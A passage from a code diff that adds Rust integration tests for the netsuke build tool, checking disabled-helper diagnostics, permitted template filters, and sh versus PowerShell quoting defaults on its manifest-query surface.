= tempfile::tempdir().context("create manifest-query workspace")?; + let manifest_path = temp.path().join("Netsukefile"); + let description = + serde_yaml::to_string(template).context("encode the description as a YAML scalar")?; + test_fs::write( + &manifest_path, + format!( + concat!( + "netsuke_version: \"1.0.0\"\n", + "targets:\n", + " - name: discovery\n", + " description: {description}", + " command: echo discovery\n", + ), + description = description + ), + ) + .context("write manifest-query manifest")?; + Ok((temp, manifest_path)) +} + +/// Run `netsuke --json help targets` against `template`. +fn run_query(template: &str) -> Result { + let (temp, manifest_path) = write_description_manifest(template)?; + let output = assert_cmd::cargo::cargo_bin_cmd!("netsuke") + .current_dir(temp.path()) + .arg("--json") + .arg("--file") + .arg(&manifest_path) + .arg("help") + .arg("targets") + .output() + .context("run netsuke --json help targets")?; + Ok(QueryRun { + success: output.status.success(), + stdout: String::from_utf8(output.stdout).context("stdout should be valid UTF-8")?, + stderr: String::from_utf8(output.stderr).context("stderr should be valid UTF-8")?, + }) +} + +/// Run `template` as a description and return the diagnostic's cause chain. +/// +/// A failure is required: the argument-count regression this test exists to +/// exclude is raised while the manifest loads, so a successful run could never +/// be the interesting case. +fn query_manifest_causes(template: &str) -> Result> { + let run = run_query(template)?; + ensure!( + !run.success, + "a disabled helper must fail the query: {}", + run.stdout + ); + let document: Value = serde_json::from_str(&run.stderr) + .with_context(|| format!("stderr should be one JSON document: {}", run.stderr))?; + let causes = document + .pointer("/diagnostics/0/causes") + .and_then(Value::as_array) + .context("diagnostic should carry its cause chain")? + .iter() + .filter_map(Value::as_str) + .map(str::to_owned) + .collect(); + Ok(causes) +} + +/// Assert that `template` renders under the *full* stdlib. +/// +/// This is the negative control for [`query_manifest_causes`]: the same +/// template goes through a build load, so a template that fails there too +/// would make the query assertions vacuous. +fn assert_full_stdlib_renders(template: &str) -> Result<()> { + let (temp, manifest_path) = write_description_manifest(template)?; + // `--file` is a global option, so it precedes the subcommand. + let run = test_support::netsuke::run_netsuke_in( + temp.path(), + &[ + "--file", + manifest_path + .to_str() + .context("manifest path should be UTF-8")?, + "generate", + "--output", + "out.ninja", + ], + )?; + ensure!( + run.success, + "the full stdlib should render {template:?}: {}", + run.stderr + ); + Ok(()) +} + +/// A disabled helper reports that it is disabled, not an argument error. +/// +/// The `env` stub's arity changed when `default=` was added. Had the stub kept +/// its single-argument shape, `env('X', default='y')` would have failed with a +/// detail-free `too many arguments`, naming neither the helper nor the remedy. +/// This asserts the specific marker so the arity cannot silently drift again. +#[test] +fn query_surface_reports_env_as_disabled_with_its_keyword_argument() -> Result<()> { + let causes = query_manifest_causes("{{ env('NETSUKE_QUERY_PROBE', default='y') }}")?; + let reported = causes.join("\n"); + ensure!( + reported.contains(DISABLED_MARKER), + "env should report itself disabled: {causes:?}" + ); + ensure!( + reported.contains("env is disabled"), + "the disabled diagnostic should name the helper: {causes:?}" + ); + ensure!( + !reported.contains("too many arguments") && !reported.contains("missing argument"), + "the env stub must accept the keyword, not reject it by arity: {causes:?}" + ); + Ok(()) +} + +/// The `env` stub keeps its disabled diagnostic without any argument at all. +#[test] +fn query_surface_reports_env_as_disabled_without_arguments() -> Result<()> { + let causes = query_manifest_causes("{{ env('NETSUKE_QUERY_PROBE') }}")?; + ensure!( + causes.join("\n").contains("env is disabled"), + "a bare env call should also report itself disabled: {causes:?}" + ); + Ok(()) +} + +/// The negative control: the same template works under the full stdlib. +/// +/// Without this, the assertions above would pass for a manifest that fails in +/// both loaders for an unrelated reason. +#[test] +fn the_full_stdlib_renders_the_same_env_call() -> Result<()> { + assert_full_stdlib_renders("{{ env('NETSUKE_QUERY_PROBE', default='y') }}") +} + +/// Helpers the query surface deliberately permits must render there. +/// +/// The shell helpers arrive with EP-M4; naming the currently permitted set +/// here keeps the obligation honest as the surface grows, since a helper added +/// to only one registration path is exactly the drift this contract exists to +/// catch. +#[test] +fn query_surface_renders_its_permitted_helpers() -> Result<()> { + for (template, expected) in [ + ("{{ ['b', 'a'] | sort | join(',') }}", "a,b"), + ("{{ 'a b' | upper }}", "A B"), + ("{{ ['a', 'a'] | unique | join(',') }}", "a"), + // `compact` is registered by the shared `collections::register_filters`, + // so it reaches this surface without a second registration; this case + // is what holds that claim to account. + ("{{ ['a', '', none, 0] | compact | join(',') }}", "a,0"), + ] { + let run = run_query(template)?; + ensure!( + run.success, + "the query surface should render {template:?}: {}", + run.stderr + ); + // Compared as a whole value rather than by substring. A substring check + // is satisfied by any output that merely *embeds* the expected text — + // a duplicated or truncated description would pass, and so would one + // that rendered the right helper alongside a second, wrong one. The + // dialect probes parse the same document the same way. + let document: Value = serde_json::from_str(&run.stdout) + .with_context(|| format!("stdout should be one JSON document: {}", run.stdout))?; + let rendered = document + .pointer("/result/targets/0/description") + .and_then(Value::as_str) + .context("the catalogue should carry the target description")?; + ensure!( + rendered == expected, + "the query catalogue rendered {template:?} as {rendered:?}, expected {expected:?}" + ); + assert_full_stdlib_renders(template)?; + } + Ok(()) +} diff --git a/tests/stdlib_manifest_query_tests/dialect_probes.rs b/tests/stdlib_manifest_query_tests/dialect_probes.rs new file mode 100644 index 000000000..32ab1a56c --- /dev/null +++ b/tests/stdlib_manifest_query_tests/dialect_probes.rs @@ -0,0 +1,231 @@ +//! The shell-dialect probe contract for the manifest-query surface. +//! +//! The probes and their assertions live here rather than in the crate root +//! because together they are the larger half of that contract; the root keeps +//! the obligations a reader meets first — the disabled-helper arity cases and +//! the permitted-helper sweep. +//! +//! Both tests run a real `netsuke` process through the sibling [`run_query`], +//! so this module is where the two registration paths are compared rather than +//! merely described. The trios exist because an explicit `dialect=` overrides +//! the registration's dialect outright: the dialect-omitting probes are the +//! only ones that can detect a wrong default, and the explicit twins are what +//! make their result falsifiable rather than satisfiable by either family. +//! +//! [`run_query`]: super::run_query + +use anyhow::{Context, Result, ensure}; +use serde_json::Value; + +use super::{assert_full_stdlib_renders, run_query}; + +/// Fields of one probe expression, separated by `PROBE_SEPARATOR`. +/// +/// Two trios, each a join or a quote rendered three times: once with an +/// explicit `sh`, once with an explicit `powershell`, and once with the dialect +/// omitted. The explicit pair pins what each encoder produces; the omitted +/// field must equal whichever of the pair the host's default dialect selects: +/// +/// | index | expression | +/// |-------|---------------------------------------------------| +/// | 0 | `shell_join` of the list, `dialect='sh'` | +/// | 1 | `shell_join` of the list, `dialect='powershell'` | +/// | 2 | `shell_join` of the list, dialect omitted | +/// | 3 | `shell_quote` of the word, `dialect='sh'` | +/// | 4 | `shell_quote` of the word, `dialect='powershell'` | +/// | 5 | `shell_quote` of the word, dialect omitted | +/// +/// The trios exist because a probe that names its dialect *cannot* detect a +/// wrong default: `dialect=` overrides the registration's dialect outright, so +/// seeding `register_query_helpers` with the PowerShell dialect leaves fields +/// 0, 1, 3, and 4 untouched. Fields 2 and 5 are the only ones that read the +/// default the divergence is about, and they are the reason each omitted probe +/// carries explicit twins. +/// +/// NOTE: a `|` cannot separate the fields because a POSIX field's output +/// contains one; a backslash cannot because a PowerShell field's output does. +/// `@` appears in neither dialect's output. +const PROBES: &str = concat!( + "{{ ['target-cpu=native', 'a b'] | shell_join(dialect='sh') }}@", + "{{ ['target-cpu=native', 'a b'] | shell_join(dialect='powershell') }}@", + "{{ ['target-cpu=native', 'a b'] | shell_join }}@", + "{{ 'a b' | shell_quote(dialect='sh') }}@", + "{{ 'a b' | shell_quote(dialect='powershell') }}@", + "{{ 'a b' | shell_quote }}", +); + +/// The field separator [`PROBES`] uses. +const PROBE_SEPARATOR: &str = "@"; + +/// The three explicit-dialect fields, as `(label, rendered)`. +/// +/// Measured on this host by probe, not derived. `shell_join` quotes each +/// element separately, and the two dialect families differ in kind: `sh` +/// *fragments* around the metacharacter, leaving the longest safe prefix bare, +/// while PowerShell encloses each whole element in single quotes. +const fn expected_explicit_fields() -> [(usize, &'static str, &'static str); 4] { + [ + (0, "sh shell_join", "target-cpu'=native' a' b'"), + (1, "powershell shell_join", "'target-cpu=native' 'a b'"), + (3, "sh shell_quote", "a' b'"), + (4, "powershell shell_quote", "'a b'"), + ] +} + +/// The `(explicit sh field, explicit powershell field, omitted field)` trios. +/// +/// The host's `RecipeShell::host_default` picks which of the first two the +/// third must equal: `PowerShell` on Windows, `Posix` — which shares the `Sh` +/// dialect with `Bash` — elsewhere. +const TRIOS: [(usize, usize, usize); 2] = [(0, 1, 2), (3, 4, 5)]; + +/// Run `PROBES` as a description and split its rendering into fields. +fn probe_fields() -> Result> { + let run = run_query(PROBES)?; + ensure!( + run.success, + "the query surface should render the shell probes: {}", + run.stderr + ); + let document: Value = serde_json::from_str(&run.stdout) + .with_context(|| format!("stdout should be one JSON document: {}", run.stdout))?; + let description = document + .pointer("/result/targets/0/description") + .and_then(Value::as_str) + .context("the catalogue should carry the target description")?; + let fields = description + .split(PROBE_SEPARATOR) + .map(str::to_owned) + .collect::>(); + ensure!( + fields.len() == 6, + "the description should split into six probes, got {}: {description:?}", + fields.len() + ); + Ok(fields) +} + +/// An explicitly named dialect renders identically under both surfaces. +/// +/// This is the assertion that *can* be made from a test on this host. +/// `register_query_helpers` documents the two surfaces' **defaults** as +/// deliberately divergent — the query surface quotes for +/// [`RecipeShell::host_default`], while the build surface quotes for the shell +/// the runner resolves, which on Windows honours `NETSUKE_WINDOWS_SHELL`. That +/// divergence is real. On this host it is *masked* rather than absent, and the +/// masking is what makes it unreachable from here: `resolve_recipe_shell_with` +/// returns [`RecipeShell::Posix`] before it reads the environment, so the +/// build's default and the query's default coincide for reasons that have +/// nothing to do with the code under test. See `docs/developers-guide.md`, +/// "the difference is wider than 'the same value reached twice' … it is masked, +/// not absent". +/// +/// The hazard the divergence is weighed against is conditional. On Windows +/// there is no `cfg` early return, but `execute_help` returns before +/// `resolve_recipe_shell` is called, so the query never resolves a shell on +/// either platform; resolving it *above* that return would make a metadata-only +/// query reject a malformed `NETSUKE_WINDOWS_SHELL`. That is a statement about +/// what hoisting the resolution would do, not about today's reachability, and +/// it is not something a test here can settle — which is precisely why this +/// file does not try to. +/// +/// What is host-independent is the explicit case, and that is what this test +/// pins: give both surfaces the same `dialect=` and they agree, because the +/// keyword overrides the registration's default outright. So the agreement +/// below is a statement about the *keyword*, not about the defaults — a test +/// that appeared to cover the divergence while being unable to reach it would +/// be worse than no test, because its green result would read as evidence. +/// +/// `assert_full_stdlib_renders` is the negative control, and it is a weak one: +/// it asserts that the build renders the probe, not that it renders the *same +/// text*, so a build whose default dialect differed would leave it green. The +/// comparison below carries the agreement; the control only rules out two +/// identical failures. Strengthening it means moving the probe onto a rule — +/// rule descriptions do reach `build.ninja`, unlike a `command:` target's, +/// which `src/ir/from_manifest.rs:140-141` drops on purpose — and comparing the +/// six fields. That is recorded as a follow-on rather than done here, because +/// the default it would pin is the masked Windows-only one above. +#[test] +fn query_surface_agrees_with_the_build_on_explicit_dialects() -> Result<()> { + let fields = probe_fields()?; + for (index, label, expected) in expected_explicit_fields() { + let observed = fields + .get(index) + .with_context(|| format!("probe {index} ({label}) should have rendered"))?; + ensure!( + observed == expected, + "the query surface rendered probe {index} ({label}) as {observed:?}, expected {expected:?}" + ); + } + assert_full_stdlib_renders(PROBES)?; + Ok(()) +} + +/// The index of the trio field that carries the dialect the host resolves to. +/// +/// `RecipeShell::host_default` is `PowerShell` on Windows and `Posix` — which +/// shares the `Sh` dialect with `Bash` — everywhere else. Mirroring that `cfg!` +/// here is not a second guess at the host: it is the same predicate restated +/// where a reader of this contract can check it, and it is what makes the +/// assertion below falsifiable. A membership test over *both* twins would not +/// be — seeding `register_query_helpers` with the PowerShell dialect satisfies +/// it on a Unix host, because the omitted field then equals the PowerShell +/// twin. +const fn host_default_field(trio: (usize, usize, usize)) -> usize { + let (sh_index, power_shell_index, default_index) = trio; + if cfg!(windows) { + let _ = (sh_index, default_index); + power_shell_index + } else { + let _ = (power_shell_index, default_index); + sh_index + } +} + +/// The dialect-omitting probes resolve to the host's default dialect. +/// +/// The assertion a wrong default trips, and the explicit-dialect one cannot: +/// `dialect=` overrides the registration's dialect, so seeding +/// `register_query_helpers` with `RecipeShell::PowerShell` leaves every +/// explicit probe intact. The defect would reach a user as silently mismatched +/// quoting between `netsuke help targets` and the build that consumes the same +/// manifest. +/// +/// This file runs on Windows too — `make SHELL=bash test` is a merge gate +/// (`.github/workflows/ci-windows.yml`) — so the expected twin is chosen by +/// [`host_default_field`] rather than hardcoded to `sh`. +#[test] +fn query_surface_renders_the_host_resolved_dialect() -> Result<()> { + let fields = probe_fields()?; + for trio in TRIOS { + let (sh_index, power_shell_index, default_index) = trio; + let sh = fields + .get(sh_index) + .with_context(|| format!("probe {sh_index} (explicit sh) should have rendered"))?; + let power_shell = fields.get(power_shell_index).with_context(|| { + format!("probe {power_shell_index} (explicit powershell) should have rendered") + })?; + let default = fields.get(default_index).with_context(|| { + format!("probe {default_index} (default dialect) should have rendered") + })?; + + // The twins must differ, or the comparison below would be satisfied by + // a single dialect family however the default resolved. + ensure!( + sh != power_shell, + "probes {sh_index} and {power_shell_index} should render differently, \ + got {sh:?} for both" + ); + + let expected = fields + .get(host_default_field(trio)) + .context("the host-default field index should be in range")?; + ensure!( + default == expected, + "the dialect-omitting probe {default_index} rendered {default:?}, but this host's \ + default dialect produces {expected:?}; sh renders {sh:?} and powershell renders \ + {power_shell:?}" + ); + } + Ok(()) +}